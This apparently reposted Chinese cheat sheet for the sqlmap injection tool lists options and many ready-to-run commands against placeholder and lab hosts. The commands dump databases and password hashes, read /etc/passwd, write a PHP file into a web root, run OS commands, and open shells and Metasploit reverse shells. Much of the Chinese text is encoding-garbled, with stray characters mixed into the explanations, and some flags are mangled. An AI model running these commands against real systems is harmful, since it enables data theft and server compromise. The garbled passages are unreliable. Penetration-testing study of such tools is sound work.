https://www.feiyusafe.cn/2019/02/26/sqlmap%e4%b8%aa%e4%ba%ba%e6%80%bb%e7%bb%93/
-u #注入點
-f #指紋判別數(shù)據(jù)庫類型 -b #獲取數(shù)據(jù)庫版本信息
-p #指定可測試的參數(shù)(?page=1&id=2 -p "page,id")
-D"" #指定數(shù)據(jù)庫名
-T"" #指定表名 -C"" #指定字段
-s"" #保存注入過程到一個文件,還可中斷,下次恢復(fù)在注入(保存:-s "xx.log"
恢復(fù):-s "xx.log" --resume)
--level=(1-5)#要執(zhí)行的測試水平等級拨拓,默認(rèn)為 1
--risk=(0-3) #測試執(zhí)行的風(fēng)險等級肴颊,默認(rèn)為 1
--time-sec=(2,5)#延遲響應(yīng),默認(rèn)為 5
--data#通過 POST 發(fā)送數(shù)據(jù)
--columns #列出字段
--current-user #獲取當(dāng)前用戶名稱
--current-db #獲取當(dāng)前數(shù)據(jù)庫名稱
--users #列數(shù)據(jù)庫所有用戶
--passwords #數(shù)據(jù)庫用戶所有密碼
--privileges #查看用戶權(quán)限(--privileges -U root)
-U #指定數(shù)據(jù)庫用戶
--dbs #列出所有數(shù)據(jù)庫
--tables -D"" #列出指定數(shù)據(jù)庫中的表
--columns -T"user"-D"mysql" #列出 mysql 數(shù)據(jù)庫中的 us er 表的所有字段
- -dump - all #列出所有數(shù)據(jù)庫所有表
--exclude-sysdbs #只列出用戶自己新建的數(shù)據(jù)庫和表
--dump -T""-D""- C"" #列出指定數(shù)據(jù)庫的表的字段的數(shù)據(jù)(--dump -T users -D
master -C surname)
--dump -T""-D""--start 2 --top4 # 列出指定數(shù)據(jù)庫的表的 2-4 字段的數(shù)據(jù)
--dbms # 指 定 數(shù) 據(jù) 庫 (MySQL,Oracle,PostgreSQL,Microsoft SQL
Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系統(tǒng)(Linux,Windows)
-v #詳細的等級(0-6)
0:只顯示 Python 的回溯渣磷,錯誤和關(guān)鍵消息婿着。
1:顯示信息和警告消息。
2:顯示調(diào)試消息醋界。 3:有效載荷注入竟宋。
4:顯示 HTTP 請求。
5:顯示 HTTP 響應(yīng)頭形纺。
6:顯示 HTTP 響應(yīng)頁面的內(nèi)容 --privileges #查看權(quán)限
--is-dba #是否是數(shù)據(jù)庫管理員 --roles #枚舉數(shù)據(jù)庫用戶角色
--udf-inject #導(dǎo)入用戶自定義函數(shù)(獲取系統(tǒng)權(quán)限)
--union-check #是否支持 unio n 注入
--union-cols#union 查詢表記錄
--union-test#union 語句測試
--union-use #采用 unio n 注入
--union-tech orderby#union 配合 order by
--data""#POST 方式提交數(shù)據(jù)(--data "page=1&id=2")
--cookie" 用 ; 號 分 開 " #cookie 注 入
(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer"" #使用 referer 欺騙(--referer "http://www.baidu.com")
--user-agent"" #自定義 user-agent
--proxy"http://127.0.0.1:8118"#代理注入
--string="" #指定關(guān)鍵詞,字符串匹配.--threads #采用多線程(--threads 3)
--sql-shell #執(zhí)行指定 sql 命令
--sql-query # 執(zhí) 行 指 定 的 sql 語 句 (--sql-query "SELECT password FROM
mysql.user WHERE user = 'root' LIMIT 0, 1" )--file-read #讀取指定文件
--file -write #寫入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;
將本地的 test.txt 文件寫入到目標(biāo)的 1.txt)
--file-dest #要寫入的文件絕對路徑 --os-cmd=id #執(zhí)行系統(tǒng)命令
--os-shell #系統(tǒng)交互 shell
--os-pwn #反彈 shell(--os-pwn --msf-path=/opt/framework/msf3/)
--msf-path= #matesploit 絕對路徑(--msf-path=/opt/framework/msf3/)
--os-smbrelay #
--os-bof #
--reg-read #讀取 win 系統(tǒng)注冊表
--priv-esc #
--time-sec= #延遲設(shè)置 默認(rèn)--time-sec=5 為 5 秒
-p"user-agent"--user-agent"sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" # 指 定
user-agent 注入
--eta #盲注
/pentest/database/sqlmap/txt/common-columns.txt 字段字典 common-outputs.txtcommon-tables.txt 表字典 keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
常用語句
1.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db
--users--passwords --dbs -v0
2.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root
--union-use -v2
3.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -Tusers-C username -D
userdb --start 2 --stop 3 -v2
4.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C"user,pass" -v 1
--exclude-sysdbs
5.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v2
6.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read"c:\boot.ini"-v2
7.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write/test/test.txt
--file-dest/var/www/html/1.txt -v2
8.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd"id"-v1
9.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v2
10.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn
--msf-path=/opt/framework/msf3--priv-esc -v1
11.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn
--msf-path=/opt/framework/msf3-v1
12.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof
--msf-path=/opt/framework/msf3-v1
13.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add
--reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap"--reg-value=Test
--reg-type=REG_SZ --reg-data=1
14.
./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta
15.
./sqlmap.py
- u"http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1"-pid--prefix"')"--s
uffix"AND ('abc'='abc"
16.
./sqlmap.py
- u"http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1"--auth-typeBasic
--auth-cred"testuser:testpass"
17.
./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
18.
./sqlmap.py - u"http://192.168.136.131/sqlmap/mysql/get_int.php?id=1"--tamper
tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v3
19.
./sqlmap.py
- u"http://192.168.136.131/sqlmap/mssql/get_int.php?id=1"--sql-query"SELECT
'foo'"-v1
20.
./sqlmap.py -u"http://192.168.136.129/mysql/get_int_4.php?id=1"--common-tables
-D testdb --banner
21.
./sqlmap.py
- u"http://192.168.136.129/mysql/get_int_4.php?id=1"--cookie="PHPSESSID=mvijoc
bglq6pi463rlgk1e4v52; security=low"--string='xx'--dbs --level=3 -p"uid "
簡單的注入流程
1.讀取數(shù)據(jù)庫版本丘侠,當(dāng)前用戶,當(dāng)前數(shù)據(jù)庫
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v1 2.判斷當(dāng)前數(shù)據(jù)庫用戶權(quán)限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用戶名 -v1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用戶名 -v1
3.讀取所有數(shù)據(jù)庫用戶或指定數(shù)據(jù)庫用戶的密碼
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users--passwords -v2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v2
4.獲取所有數(shù)據(jù)庫
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v2 5.獲取指定數(shù)據(jù)庫中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mys ql -v2 6.獲取指定數(shù)據(jù)庫名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -Tusers-v2 7.獲取指定數(shù)據(jù)庫名中指定表中指定字段的數(shù)據(jù)
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql
-Tusers-C"username,password"-s"sqlnmapdb.log"-v2
8.file-read 讀取 web 文件
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read"/etc/passwd"-v29.file-write 寫入文件到 web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write/localhost/mm.php
--file-dest/var/www/html/xx.php -v2